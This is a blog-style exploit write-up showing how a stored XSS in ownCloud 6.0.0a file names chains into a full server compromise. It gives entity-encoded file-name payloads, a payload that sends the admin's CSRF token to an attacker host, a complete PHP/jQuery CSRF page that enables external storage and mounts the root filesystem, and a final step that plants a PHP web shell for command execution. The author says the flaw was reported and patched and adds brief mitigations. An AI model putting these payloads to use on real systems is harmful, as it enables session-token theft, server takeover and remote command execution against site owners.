Typically a Cross-Site Scripting (XSS) vulnerability is seen as a "low priority" issue or  something that has minimal security impact. Often times this mentality results in delayed patches for XSS issues because there are "higher priorities" that need to be dealt with. This is a dangerous mindset because often times compromising servers or the privacy of users is much more complicated than using a single exploit. Hacking is about using creativity and with enough of it even a "minor" XSS vulnerability will pave the way for devastating consequences.

Today I am going to show that that a "low priority" XSS vulnerability and a bit of creativity from a malicious hacker can go a long way into compromising an entire server. My original exploit announcement can be found here. I reported the issue to the ownCloud security team a while back and the issue is fixed in 6.0.1.

Keep in mind that if you'd like to try this out for yourself, be sure to change the IPs/addresses/account names in the code. Also, if you find yourself in any trouble (legal or otherwise), then you cannot blame me for your own reckless behavior. This post merely serves to educate.

Please note: I understand that there may be other ways to take advantage of this XSS vulnerability to own the server. However, because file names on Linux are limited to 255 characters, I found this to be the easiest method.

Our set-up:
Server: Debian 7.3.0 64-bit
Configuration: Typical LAMP (Linux, Apache, MySQL, and PHP)
Web Application: ownCloud 6.0.0a
Attacker Machine: Kali Linux
Vulnerable browsers: Iceweasel 22.0; Internet Explorer 11.

We begin with a clean installation of a LAMP server and ownCloud 6.0.0a. The database you choose during the installation of ownCloud does not matter. The admin user can be any name you like. In the video, we used "admin".

Once you are set up, create another account called "hacker". This user should belong to no group.

You should now have two user accounts:
If you would like to keep things clean, be sure to log into both accounts and delete all of the files that come default with new accounts. While it isn't necessary to have clean folders for this exercise, it does help to make things look organized.

Now, we are ready to begin.


< 1: Discovering the Vulnerability

OwnCloud prevents the creation of files with the following characters in its name:
  • '\', '/', '<', '>', ':', '"', '|', '?' and '*' are not allowed.
This is understandable and a lot of cloud applications do the same. One reason for preventing these characters is to mitigate potential XSS vulnerabilities that might exist in code that don't sanitize file names before displaying them to a user.

OwnCloud won't allow us to directly create a new file that contains invalid characters, but we can certainly try to bypass this restriction. I showed one method in the above video, but another method is to use BurpSuite.

We will create a file called "<img src=x onerror=alert(0);>" to serve a proof-of-concept that we can create files with invalid characters. Once we create this file, we will show that we can cause this JavaScript code to execute when we attempt to delete the file. This is lovely: we have a XSS vulnerability!

< 2: Crafting a Payload and Plan

What shall we do? Well, one option is to attempt to open iframe. However, we cannot do this because HTML requires that the iframe tag be closed with </iframe>. Since the web server is running Linux, the character '/' is illegal in file names and hence we cannot do it.

What we can do is redirect the victim to our attacking server. This can be done with the following sample file name:



1
<img src=x onerror="document.location='http:&#x2F;&#x2F;noobroot.com'";>.txt

There are a few things to note about this code.


  1. This is a standard XSS payload one can use when closing tags cannot be used (like in our case). As you can see, the "src" value is always invalid so this will cause our code in front of "onerror" to execute.
  2. The URL we are sending our victim to is http://noobroot.com. As we can see, this contains the invalid character '/' that we cannot use. We can get around this by using the HTML entity &#x2F; in place of each '/' character since each entity is in place of actual text. This is also explains why we cannot use <&#x2F;iframe> to close out our iframe.
  3. We should end our payload with an extension such as txt. If we do not, our payload will cut short at the .com part since ownCloud will think that is the extension:


 <img src=x onerror="document.location='http:&#x2F;&#x2F;noobroot.com'";>

The portion in yellow would be our payload. Since it is invalid code, it will not execute. 

To test our new payload, we will make things easier and skip the use of BurpSuite. Instead, we will create this file on our system and then upload it the normal way a user would upload files on ownCloud. You will notice that when you upload it, the code executes on your own system immediately. Just ignore this. Once the file is uploaded, test that our malicious payload works when we attempt to delete it.
Success. All we need to do now is share this file with the administrator of the site!

So now that we can redirect our victim to any web site we like, where will we send him and what will we do? Let's own the server! How will we do that? Well, ownCloud allows the site administrator to enable an add-on to mount external storage sources such as Box.com, Google Drive, external hard drives, and even the local file system of the server. By default, the External Storage Support add-on is disabled and even if it were enabled, it is unlikely that the entire filesystem would be mounted.

This is no matter. As the attacker we can use our newly found XSS vulnerability to steal the CSRF token and force the administrator to enable the External Storage Support and mount the server's local filesystem to the attacker's ownCloud account.

How can we obtain the CSRF token? The token value is actually in the head tag in the HTML code:
 
By modifying our XSS payload to grab this token:

1
<img src=x onerror="var z=document.getElementsByTagName('head')[0].getAttribute('data-requesttoken'); document.location='http:&#x2F;&#x2F;noobroot.com&#x2F;owncloudhack.php?rt='+z";>.txt

To make sense of this, let us look at what the part inside of the "onerror" event handler is doing:

1) var z=document.getElementsByTagName('head')[0].getAttribute('data-requesttoken');

2) document.location='http:&#x2F;&#x2F;noobroot.com&#x2F;owncloudhack.php?rt='+z

We can see that the code in 1) obtains the value of data-requesttoken and sets the variable z to it. And, we can see that 2) changes the document page to http://noobroot.com/owncloudhack.php and passes z (containing the token) as a parameter value for rt.

< 3: Going in for the Kill

Now that we have access to the CSRF token, it is time to make use of it. We will make use of some PHP and jQuery to generate a request to ownCloud to:
  1. enable external storage,
  2. mount the server's local file system for the attacker, and
  3. redirect the admin back to his ownCloud account.

The following code, which we will call "owncloudhack.php" and hosted on a webserver, will take care of this for us:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<!DOCTYPE HTML>
<html>
<head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>OwnCloud 6.0.0a XSS and CSRF Protection Bypass</title>
        <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
</head>
<body>
 <span id="container"></span>
        <form id="form1">
                <input type="hidden" name="mountPoint" value="LOL">
                <input type="hidden" name="class" value="\OC\Files\Storage\Local">
                <input type="hidden" name="classOptions[datadir]" value="/">
                <input type="hidden" name="mountType" value="user">
                <input type="hidden" name="applicable" value="hacker">
                <input type="hidden" name="isPersonal" value="false">
                <?php echo '<input type="hidden" name="requesttoken" value="'.$_GET["rt"].'">' ?>
        </form>
 <script>
        $('#form1').submit(function(event) {
                event.preventDefault();
                $.ajax({
                        type: 'POST',
                        url: 'http://192.168.196.243/index.php/apps/files_external/ajax/addMountPoint.php',
                        data: $(this).serialize(),
          xhrFields: {
        withCredentials: true
          },
                        dataType: 'json',
                });
        });
        </script>

        <form id="form2">
                <input type="hidden" name="appid" value="files_external">
                <?php echo '<input type="hidden" name="requesttoken" value="'.$_GET["rt"].'">' ?>
        </form>
 <script>
        $('#form2').submit(function(event) {
                event.preventDefault();
                $.ajax({
                        type: 'POST',
                        url: 'http://192.168.196.243/index.php/settings/ajax/enableapp.php',
                        data: $(this).serialize(),
          xhrFields: {
        withCredentials: true
          },
                        dataType: 'json',
                });
        });

 function ext() {
  $('#form2').submit();
  $("#container").text("Enabling External Storage..."); 
 };
 function mount() {
  $('#form1').submit();
  $("#container").text("Mounting the root filesystem...");
 };
 function redirect() {
  window.location.href = 'http://192.168.196.243/';
  $("#container").text("Redirecting back home ;)");
 };
 setTimeout(function() {ext();}, 0);
 setTimeout(function() {mount();}, 5000);
 setTimeout(function() {redirect();}, 5500);
 </script>
</body>
</html>

The only parameter that this code takes is rt, which should be the request token. When this value is supplied, a number of valid POST requests are made unknowingly by the ownCloud administrator.

When the administrator is redirected back to his ownCloud server, it will appear as if the file was deleted and aside from the very odd brief redirect, things appear at first glance to be normal.

We should be able to put owncloudhack.php on an attacking server and combine this with the XSS file to gain access to the server.

< 4: Pwnage
 

Now it is time time to get a shell on the server. This is the easy part, too!

Assuming that we got the admin to try to delete the malicious file that we shared with him and our script successfully forced the mounting of the root filesystem to our ownCloud account, we will see a new "LOL" folder for our account:
This is an alias our PHP script used for the root filesystem!

If we navigate around we will see that we have access to everything that the user www-data has access to. For example, we can navigate to /var/www:
Within /var/www, let's create a basic PHP shell script called shell.php:
Now, we should be able to navigate to http://192.168.196.243/shell.php?cmd=id to execute the command 'id':
From here, it is the rest is up to you :)

< 5: Mitigation
 

If you are running ownCloud, then it is advisable that you keep it up to date. The latest version has been patched for this issue because I reported it to the developers.

On the client side, a few things can be done. If a suspicious file has been shared with you, you can prevent the attack by connecting to your server via SSH and manually deleting the file from the system. Also, use Firefox or Google Chrome. Internet Explorer and Iceweasel are vulnerable to this attack. Another option is to use NoScript for Mozilla-based browsers (like FireFox, Iceweseal, Waterfox, etc).

As for the CSRF issue, nothing can be done client-side. However, the good thing is that ownCloud uses tokens and without the aid of a XSS attack, these tokens will keep your browser from successfully fulfilling requests you did not intend to make.

Finally, as for server hardening: basic practices apply here. For example:
  1. Disable PHP functions such as system, eval, etc.
  2. Set correct permissions for the web root.
  3. Etc...
0

Add a comment

Loading